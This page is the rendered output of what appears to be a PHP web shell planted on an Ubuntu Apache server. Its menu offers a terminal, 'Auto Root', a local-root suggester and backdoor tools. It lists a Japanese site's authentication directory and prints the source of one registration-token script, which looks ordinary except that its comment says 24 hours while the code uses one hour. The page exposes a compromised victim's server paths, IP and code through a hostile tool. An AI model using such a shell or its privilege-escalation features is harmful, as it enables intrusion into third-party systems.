Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
kougakubu /
htdocs /
auth /
Delete
Unzip
Name
Size
Permission
Date
Action
views
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
.conf
6.09
KB
-rw-rw-r--
2024-08-28 00:06
database.php
1.04
KB
-rwxr-xr-x
2024-08-28 00:15
database2.php
477
B
-rwxr-xr-x
2024-08-27 23:20
functions.php
2.34
KB
-rwxr-xr-x
2024-08-27 23:20
login.php
7.16
KB
-rwxr-xr-x
2024-08-28 00:23
logout.php
1020
B
-rwxr-xr-x
2024-08-28 00:19
register.php
3.88
KB
-rwxr-xr-x
2024-08-28 00:19
session_upload.php
2.07
KB
-rwxr-xr-x
2024-08-28 00:19
show_register_form.php
1.36
KB
-rwxr-xr-x
2024-08-28 00:19
show_tmp_register_form.php
296
B
-rwxr-xr-x
2024-08-28 00:19
test3.php
221
B
-rwxr-xr-x
2024-08-27 23:20
tmp_register.php
3.9
KB
-rwxr-xr-x
2024-08-29 23:28
Save
Rename
<?php /* session_start(); */ // pdoオブジェクトを取得 require_once '/var/www/html/kougakubu/htdocs/auth/database.php'; $pdo = getPdo(); // クエリからregister_tokenを取得 $registerToken = filter_input(INPUT_GET, 'token'); // tokenに合致するユーザーを取得 $sql = 'SELECT * FROM `users` WHERE `register_token` = :register_token AND `status` = :status'; // register_tokenが合致するユーザーを取得 $stmt = $pdo->prepare($sql); $stmt->bindValue(':register_token', $registerToken, \PDO::PARAM_STR); $stmt->bindValue(':status', 'tentative', \PDO::PARAM_STR); $stmt->execute(); $user = $stmt->fetch(\PDO::FETCH_OBJ); if (!$user) exit('URLくらい息を吸うレベルで覚えなきゃ。(無効なURLです)'); // 今回はtokenの有効期間を24時間とする $tokenValidPeriod = (new \DateTime())->modify("-1 hour")->format('Y-m-d H:i:s'); // 仮登録が24時間以上前の場合、有効期限切れとする if ($user->register_token_sent_at < $tokenValidPeriod) exit('課題をやるのが遅い!!(有効期限切れです。)'); // formに埋め込むcsrf tokenの生成 if (empty($_SESSION['_csrf_token'])) { $_SESSION['_csrf_token'] = bin2hex(random_bytes(32)); } // 本登録フォームを読み込む //header('Location: ./views/register_form.php'); require_once '/var/www/html/kougakubu/htdocs/auth/views/register_form.php';